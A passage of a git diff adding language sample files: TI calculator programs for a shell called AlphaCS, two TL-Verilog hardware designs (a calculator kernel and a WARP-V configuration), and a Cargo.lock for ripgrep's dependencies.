+If S=8
+	Text(12,31,"Syntax")
+	Else
+	Text(12,31,"Error "[23]"",S>Dec)
+End
+DispGraph
+Repeat (getKey) and (getKey(9))
+End
+GetCalc("appv hold ")->S
+Fill(L1,20,0)
+Copy(S,L1,10)
+{S+15}->A
+sub(DATA)
+DelVar "appv hold "
+DiagnosticOff
+Fix 5
+Full
+Repeat getKey=0
+End
+Goto DPRGM1
+Lbl DSET1
+21->B
+{[Y1]+5}->X
+{[Y1]}->Y
+{[Y1]+6}->Z
+Lbl DSET2
+ClrDraw
+sub(D1,0,0)
+RectI(0,11,96,1)
+Text(1,12,"by ClrDraw, Nov 2013, v 1")
+RectI(0,19,96,1)
+RectI(0,63,96,1)
+If X
+	Text(1,21,"Show Hidden On")
+	Else
+	Text(1,21,"Show Hidden Off")
+End
+If Y
+	Text(1,28,"Password On")
+	Else
+	Text(1,28,"Password Off")
+End
+If Z
+	Text(1,35,"Lowercase On")
+	Else
+	Text(1,35,"Lowercase Off")
+End
+Text(1,42,"Uninstall AlphaCS")
+Lbl KSET
+RectI(0,B,96,7)
+DispGraph
+RectI(0,B,96,7)
+Repeat getKey
+End
+If (getKey(54)) or (getKey(9))
+	If B=21
+		If X
+			0->X
+			Else
+			1->X
+		End
+		Goto DSET2
+	End
+	If B=28
+		If Y
+			0->Y
+			Else
+			1->Y
+		End
+		Goto DSET2
+	End
+	If B=35
+		If Z
+			0->Z
+			Else
+			1->Z
+		End
+		Goto DSET2
+	End
+	If B=42
+		If sub(CODE)
+			DelVar Str1
+			Goto END
+			Else
+			Goto DSET2
+		End
+	End
+End
+If (getKey(4)) and (B!=21)
+	For(7)
+		RectI(0,B,96,7)
+		DispGraph
+		RectI(0,B,96,7)
+		B--
+		Normal
+		Pause 3
+		Full
+	End
+End
+If (getKey(1)) and (B!=42)
+	For(7)
+		RectI(0,B,96,7)
+		DispGraph
+		RectI(0,B,96,7)
+		B++
+		Normal
+		Pause 3
+		Full
+	End
+End
+If getKey(15)
+	If ({[Y1]+5}!=X) or ({[Y1]}!=Y) or ({[Y1]+6}!=Z)
+		UnArchive Str1
+		GetCalc(Str1)->S
+		X->{S+5}
+		Y->{S}
+		Z->{S+6}
+		sub(D3)
+		DispGraph
+		Archive Str1
+		GetCalc(Str1,[Y1])
+	End
+	Repeat getKey=0
+	End
+	Goto DLIST
+End
+Goto KSET
\ No newline at end of file
diff --git a/samples/TI Program/srcsort.8xp.txt b/samples/TI Program/srcsort.8xp.txt
new file mode 100644
index 0000000000..f0c54b9834
--- /dev/null
+++ b/samples/TI Program/srcsort.8xp.txt	
@@ -0,0 +1,138 @@
+.SORT AlphaCS
+Lbl POLAR
+Fill(L1,50,0)
+{|E9830}^^r->[r2]
+Repeat (({[r2]}=5) or ({[r2]}=6)) and (({[r2]-7}>48) or (({[Y1]+5}) and ({[r2]-7}<28)))
+	[r2]-{[r2]-6}-7->[r2]
+	If [r2]<={|E982E}^^r
+		Return0
+	End
+End
+For([r3],1,{[r2]-6})
+	{[r2]-6-[r3]}->{L1+[r3]-1}
+End
+[r2]-{[r2]-6}-7->[r2]
+Repeat 0
+	If (({[r2]}=5) or ({[r2]}=6)) and (({[r2]-7}>48) or (({[Y1]+5}) and ({[r2]-7}<28)))
+		Fill(L2,50,0)
+		For([r3],1,{[r2]-6}
+			{[r2]-6-[r3]}->{L2+[r3]-1
+		End
+		0->[r3]
+		Repeat ({L1+[r3]}!={L2+[r3]}) or ([r3]=20)
+			[r3]++
+		End
+		If (({L1+[r3]}>{L2+[r3]}) and ([r1]=1)) or (({L1+[r3]}<{L2+[r3]}) and ([r1]=0))
+			Fill(L1,50,0)
+			Copy(L2,L1,20)
+		End
+		Else
+		If [r2]<{|E982E}^^r
+			sub(DATA)
+			Return1
+		End
+	End
+	[r2]-{[r2]-6}-7->[r2]
+End
+Lbl ADJ
+Fill(L2,50,0)
+Copy(L1+1,L2,20)
+Fill(L1,50,0)
+Copy(L2,L1)
+Fill(L3,50,0)
+Copy(L1,L3,20)
+Fill(L1,50,0)
+{|E9830}^^r->[r2]
+sub(CHECK)
+Repeat (({[r2]}=5) or ({[r2]}=6)) and ([r4]) and (({[r2]-7}>48) or ({[r2]-7}<28))
+	[r2]-{[r2]-6}-7->[r2]
+	If [r2]<{|E982E}^^r
+		Fill(L1,50,0)
+		Copy(L3,L1,20)
+		Fill(L3,50,0)
+		sub(DATA)
+		Return0
+	End
+	sub(CHECK)
+End
+For([r3],1,{[r2]-6})
+	{[r2]-6-[r3]}->{L1+[r3]-1}
+End
+[r2]-{[r2]-6}-7->[r2]
+Repeat 0
+	sub(CHECK)
+	If (({[r2]}=5) or ({[r2]}=6)) and ([r4]) and (({[r2]-7}>48) or ({[r2]-7}<28))
+		Fill(L2,50,0)
+		For([r3],1,{[r2]-6}
+			{[r2]-6-[r3]}->{L2+[r3]-1
+		End
+		0->[r3]
+		Repeat ({L1+[r3]}!={L2+[r3]}) or ([r3]=20)
+			[r3]++
+		End
+		If (({L1+[r3]}>{L2+[r3]}) and ([r1]=1)) or (({L1+[r3]}<{L2+[r3]}) and ([r1]=0))
+			Fill(L1,50,0)
+			Copy(L2,L1,20)
+		End
+		Else
+		If [r2]<{|E982E}^^r
+			sub(DATA)
+			Return1
+		End
+	End
+	[r2]-{[r2]-6}-7->[r2]
+End
+Lbl CHECK
+0->[r4]
+Repeat ({[r2]-7-[r4]}!={L3+[r4]}) or (([r4]>={[r2]-6}) and ({L3+[r4]}=0))
+	[r4]++
+End
+If ((({[r2]-7-[r4]}<{L3+[r4]}) and ([r1]=1)) or (({[r2]-7-[r4]}>{L3+[r4]}) and ([r1]=0))) or (([r4]>={[r2]-6}) and ({L3+[r4]}=0))
+	0->[r4]
+	Else
+	1->[r4]
+End
+Return
+Lbl DATA
+{|E9830}^^r->C
+Repeat 0
+	Repeat ({C}=5) or ({C}=6) and (({[r1]-7}>48) or ({[r1]-7}<28))
+		C-{C-6}-7->C
+	End
+	Fill(L2,50,0)
+	For([r1],1,{C-6})
+		{C-6-[r1]}->{L2+[r1]-1}
+	End
+	!If Equ>String(L1,L2)
+		If {C-5}=0
+			0->D
+			Else
+			1->D
+		End
+		If {C-7}<28
+			1->E
+			Else
+			0->E
+		End
+		If {C}=6
+			1->F
+			Else
+			0->F
+		End
+		Fill(L2,50,0)
+		Copy(L1,L2,20)
+		Fill(L1,50,0)
+		Copy(L2,L1+1,20)
+		If E
+			{L2}+64->{L2}
+		End
+		If F
+			|E06->{L1}
+			Else
+			|E05->{L1}
+		End
+		Return
+	End
+	C-{C-6}-7->C
+End
+Return
\ No newline at end of file
diff --git a/samples/TL-Verilog/calculator_kernel.tlv b/samples/TL-Verilog/calculator_kernel.tlv
new file mode 100644
index 0000000000..2cf254b3de
--- /dev/null
+++ b/samples/TL-Verilog/calculator_kernel.tlv
@@ -0,0 +1,71 @@
+\m4_TLV_version 1d: tl-x.org
+\SV
+m4+definitions(['
+   m4_include_url(['https://raw.githubusercontent.com/stevehoover/makerchip_examples/ceebf870862e222ebc6eaf92d5a7fb85a525d069/1st-claas_template_with_macros.tlv'])
+'])
+m4_makerchip_module_with_random_kernel_tb(my, ['assign passed = cyc_cnt > 20;'])
+m4+definitions([''])  // A hack to reset line alignment to address the fact that the above macro is multi-line.
+\TLV
+   // A default direct hookup from |in to |out.
+   m4+tlv_wrapper(|in, @0, |out, @0, /trans)
+   |in
+      @0
+         $data[31:0] = >>1$output;
+      @1
+         // Calculator logic
+
+
+         // Extract input fields from input data
+         $val1[31:0] = >>1$output;
+         $val2[31:0] = /trans$data[31:0];
+         $op[2:0] = /trans$data[34:32];
+
+         //counter
+         $counter = $reset?0:(>>1$counter+1);
+         $valid = $reset || $counter;
+
+      ?$valid
+         @1
+            $sum[31:0] = $val1[31:0] + $val2[31:0];
+            $diff[31:0] = $val1[31:0] - $val2[31:0];
+            $mult[31:0] = $val1[31:0] * $val2[31:0];
+            $quot[31:0] = $val1[31:0] / $val2[31:0];
+             //@2
+            $mem[31:0] =
+               $reset ? 0:
+               ($op[2:0]==3'b101)
+                  ? >>1$mem[31:0] : >>1$output;
+
+
+            $output[31:0] =
+               $reset ? 0:
+               ($op[2:0]==3'b000)
+                  ? $sum[31:0] :
+               ($op[2:0]==3'b001)
+                  ? $diff[31:0] :
+               ($op[2:0]==3'b010)
+                  ? $mult[31:0] :
+               ($op[2:0]==3'b011)
+                  ? $quot[31:0] :
+               ($op[2:0]==3'b100)
+                  ? >>1$mem[31:0] : $val1[31:0];
+
+
+   |out
+      @0
+         // Hook up inputs to outputs to implement a no-op kernel.
+         // Delete this to add your kernel.
+         $ANY = /top|in<>0$ANY;
+
+         $ready = *out_ready;
+         *out_avail = $avail;
+         *out_data = $data;
+         //`BOGUS_USE($op $rand $ready)
+         `BOGUS_USE($ready)
+
+         // Extract output data to the output field
+         /trans@0$data = |in@1$output;
+
+   m4+rename_flow(/top, |in, @0, |out, @0, /trans)
+\SV
+   endmodule
\ No newline at end of file
diff --git a/samples/TL-Verilog/warp-v_config.tlv b/samples/TL-Verilog/warp-v_config.tlv
new file mode 100644
index 0000000000..03b236c11f
--- /dev/null
+++ b/samples/TL-Verilog/warp-v_config.tlv
@@ -0,0 +1,46 @@
+
+Viewed
+@@ -0,0 +1,43 @@
+\m4_TLV_version 1d: tl-x.org
+m4+definitions(['
+   // This file can be used to build a coarsely-configured implementation of WARP-V within makerchip.com.
+   // This enables exploration of a generated model (as TL-Verilog (without M4 macros) and/or Verilog/SystemVerilog).
+   // Simulation waveforms can be explored.
+   //
+   // High-level settings are described here. For detailed settings, consult the included warp-v.tlv file.
+
+
+   // -----------------------------------------------------------
+   // CONFIGURATION:
+
+   // ISA. Legal Values: [MINI, RISCV, MIPSI, POWER, DUMMY]
+   m4_define(M4_ISA, RISCV)
+
+   // Standard configuration. Legal Values: [1-stage, 4-stage, 6-stage, none (and define individual parameters)]
+   m4_define(M4_STANDARD_CONFIG, 4-stage)
+
+
+   // OPTIONAL CONFIGURATION:
+
+   // Branch predictor. Legal Values: [fallthrough, two_bit]
+   // m4_define(M4_BRANCH_PRED, fallthrough)
+
+
+   // DETAILED CONFIGURATION:
+
+   // (See included warp-v.tlv)
+
+   // -----------------------------------------------------------
+
+'])
+\SV
+   // Include WARP-V.
+   m4_include_lib(['https://raw.githubusercontent.com/stevehoover/warp-v/master/warp-v.tlv'])
+
+m4+module_def
+\TLV
+   m4+warpv()
+   m4+warpv_makerchip_cnt10_tb()
+   m4+makerchip_pass_fail()
+\SV
+   endmodule
\ No newline at end of file
diff --git a/samples/TOML/filenames/Cargo.lock b/samples/TOML/filenames/Cargo.lock
new file mode 100644
index 0000000000..2dd480cc05
--- /dev/null
+++ b/samples/TOML/filenames/Cargo.lock
@@ -0,0 +1,417 @@
+[[package]]
+name = "aho-corasick"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "ansi_term"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "atty"
+version = "0.2.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+ "termion 1.5.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "bitflags"
+version = "1.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "bytecount"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "simd 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "cfg-if"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "clap"
+version = "2.31.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "atty 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "bitflags 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "strsim 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "textwrap 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "unicode-width 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "crossbeam"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "encoding_rs"
+version = "0.7.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "cfg-if 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "simd 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "fnv"
+version = "1.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "fuchsia-zircon"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "bitflags 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "fuchsia-zircon-sys"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "glob"
+version = "0.2.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "globset"
+version = "0.3.0"
+dependencies = [
+ "aho-corasick 0.6.4 (registry+https://github.com/rust-lang/crates.io-index)",
+ "fnv 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)",
+ "glob 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)",
+ "log 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "grep"
+version = "0.1.8"
+dependencies = [
+ "log 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex-syntax 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "ignore"
+version = "0.4.1"
+dependencies = [
+ "crossbeam 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "globset 0.3.0",
+ "lazy_static 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "log 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)",
+ "same-file 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "tempdir 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
+ "thread_local 0.3.5 (registry+https://github.com/rust-lang/crates.io-index)",
+ "walkdir 2.1.4 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "lazy_static"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "libc"
+version = "0.2.40"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "log"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "cfg-if 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "memchr"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "memmap"
+version = "0.6.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "num_cpus"
+version = "1.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "rand"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "redox_syscall"
+version = "0.1.37"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "redox_termios"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "redox_syscall 0.1.37 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "regex"
+version = "0.2.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "aho-corasick 0.6.4 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex-syntax 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)",
+ "thread_local 0.3.5 (registry+https://github.com/rust-lang/crates.io-index)",
+ "utf8-ranges 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "regex-syntax"
+version = "0.5.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "ucd-util 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "remove_dir_all"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "ripgrep"
+version = "0.8.1"
+dependencies = [
+ "atty 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
+ "bytecount 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "clap 2.31.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "encoding_rs 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "globset 0.3.0",
+ "grep 0.1.8",
+ "ignore 0.4.1",
+ "lazy_static 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+ "log 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)",
+ "memmap 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "num_cpus 1.8.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "regex 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)",
+ "same-file 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "termcolor 0.3.6",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "same-file"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "simd"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "strsim"
+version = "0.7.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "tempdir"
+version = "0.3.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "rand 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "remove_dir_all 0.5.0 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "termcolor"
+version = "0.3.6"
+dependencies = [
+ "wincolor 0.1.6",
+]
+
+[[package]]
+name = "termion"
+version = "1.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)",
+ "redox_syscall 0.1.37 (registry+https://github.com/rust-lang/crates.io-index)",
+ "redox_termios 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "textwrap"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "unicode-width 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "thread_local"
+version = "0.3.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "lazy_static 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "unreachable 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "ucd-util"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "unicode-width"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "unreachable"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "utf8-ranges"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "void"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "walkdir"
+version = "2.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "same-file 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "winapi"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+dependencies = [
+ "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
+ "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+
+[[package]]
+name = "wincolor"
+version = "0.1.6"
+dependencies = [
+ "winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)",
+]
+
+[metadata]
+"checksum aho-corasick 0.6.4 (registry+https://github.com/rust-lang/crates.io-index)" = "d6531d44de723825aa81398a6415283229725a00fa30713812ab9323faa82fc4"
+"checksum ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b"
+"checksum atty 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)" = "af80143d6f7608d746df1520709e5d141c96f240b0e62b0aa41bdfb53374d9d4"
+"checksum bitflags 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "b3c30d3802dfb7281680d6285f2ccdaa8c2d8fee41f93805dba5c4cf50dc23cf"
+"checksum bytecount 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "882585cd7ec84e902472df34a5e01891202db3bf62614e1f0afe459c1afcf744"
+"checksum cfg-if 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "d4c819a1287eb618df47cc647173c5c4c66ba19d888a6e50d605672aed3140de"
+"checksum clap 2.31.2 (registry+https://github.com/rust-lang/crates.io-index)" = "f0f16b89cbb9ee36d87483dc939fe9f1e13c05898d56d7b230a0d4dff033a536"
+"checksum crossbeam 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)" = "24ce9782d4d5c53674646a6a4c1863a21a8fc0cb649b3c94dfc16e45071dea19"
+"checksum encoding_rs 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)" = "98fd0f24d1fb71a4a6b9330c8ca04cbd4e7cc5d846b54ca74ff376bc7c9f798d"
+"checksum fnv 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)" = "2fad85553e09a6f881f739c29f0b00b0f01357c743266d478b68951ce23285f3"
+"checksum fuchsia-zircon 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
+"checksum fuchsia-zircon-sys 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)" = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
+"checksum glob 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)" = "8be18de09a56b60ed0edf84bc9df007e30040691af7acd1c41874faac5895bfb"
+"checksum lazy_static 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "c8f31047daa365f19be14b47c29df4f7c3b581832407daabe6ae77397619237d"
+"checksum libc 0.2.40 (registry+https://github.com/rust-lang/crates.io-index)" = "6fd41f331ac7c5b8ac259b8bf82c75c0fb2e469bbf37d2becbba9a6a2221965b"
+"checksum log 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)" = "89f010e843f2b1a31dbd316b3b8d443758bc634bed37aabade59c686d644e0a2"
+"checksum memchr 2.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "796fba70e76612589ed2ce7f45282f5af869e0fdd7cc6199fa1aa1f1d591ba9d"
+"checksum memmap 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)" = "e2ffa2c986de11a9df78620c01eeaaf27d94d3ff02bf81bfcca953102dd0c6ff"
+"checksum num_cpus 1.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "c51a3322e4bca9d212ad9a158a02abc6934d005490c054a2778df73a70aa0a30"
+"checksum rand 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)" = "eba5f8cb59cc50ed56be8880a5c7b496bfd9bd26394e176bc67884094145c2c5"
+"checksum redox_syscall 0.1.37 (registry+https://github.com/rust-lang/crates.io-index)" = "0d92eecebad22b767915e4d529f89f28ee96dbbf5a4810d2b844373f136417fd"
+"checksum redox_termios 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "7e891cfe48e9100a70a3b6eb652fef28920c117d366339687bd5576160db0f76"
+"checksum regex 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)" = "aec3f58d903a7d2a9dc2bf0e41a746f4530e0cab6b615494e058f67a3ef947fb"
+"checksum regex-syntax 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)" = "b2550876c31dc914696a6c2e01cbce8afba79a93c8ae979d2fe051c0230b3756"
+"checksum remove_dir_all 0.5.0 (registry+https://github.com/rust-lang/crates.io-index)" = "dfc5b3ce5d5ea144bb04ebd093a9e14e9765bcfec866aecda9b6dec43b3d1e24"
+"checksum same-file 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "cfb6eded0b06a0b512c8ddbcf04089138c9b4362c2f696f3c3d76039d68f3637"
+"checksum simd 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "3dd0805c7363ab51a829a1511ad24b6ed0349feaa756c4bc2f977f9f496e6673"
+"checksum strsim 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "bb4f380125926a99e52bc279241539c018323fab05ad6368b56f93d9369ff550"
+"checksum tempdir 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)" = "15f2b5fb00ccdf689e0149d1b1b3c03fead81c2b37735d812fa8bddbbf41b6d8"
+"checksum termion 1.5.1 (registry+https://github.com/rust-lang/crates.io-index)" = "689a3bdfaab439fd92bc87df5c4c78417d3cbe537487274e9b0b2dce76e92096"
+"checksum textwrap 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "c0b59b6b4b44d867f1370ef1bd91bfb262bf07bf0ae65c202ea2fbc16153b693"
+"checksum thread_local 0.3.5 (registry+https://github.com/rust-lang/crates.io-index)" = "279ef31c19ededf577bfd12dfae728040a21f635b06a24cd670ff510edd38963"
+"checksum ucd-util 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "fd2be2d6639d0f8fe6cdda291ad456e23629558d466e2789d2c3e9892bda285d"
+"checksum unicode-width 0.1.4 (registry+https://github.com/rust-lang/crates.io-index)" = "bf3a113775714a22dcb774d8ea3655c53a32debae63a063acc00a91cc586245f"
+"checksum unreachable 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "382810877fe448991dfc7f0dd6e3ae5d58088fd0ea5e35189655f84e6814fa56"
+"checksum utf8-ranges 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "662fab6525a98beff2921d7f61a39e7d59e0b425ebc7d0d9e66d316e55124122"
+"checksum void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)" = "6a02e4885ed3bc0f2de90ea6dd45ebcbb66dacffe03547fadbb0eeae2770887d"
+"checksum walkdir 2.1.4 (registry+https://github.com/rust-lang/crates.io-index)" = "63636bd0eb3d00ccb8b9036381b526efac53caf112b7783b730ab3f8e44da369"
+"checksum winapi 0.3.4 (registry+https://github.com/rust-lang/crates.io-index)" = "04e3bd221fcbe8a271359c04f21a76db7d0c6028862d1bb5512d85e1e2eb5bb3"
+"checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
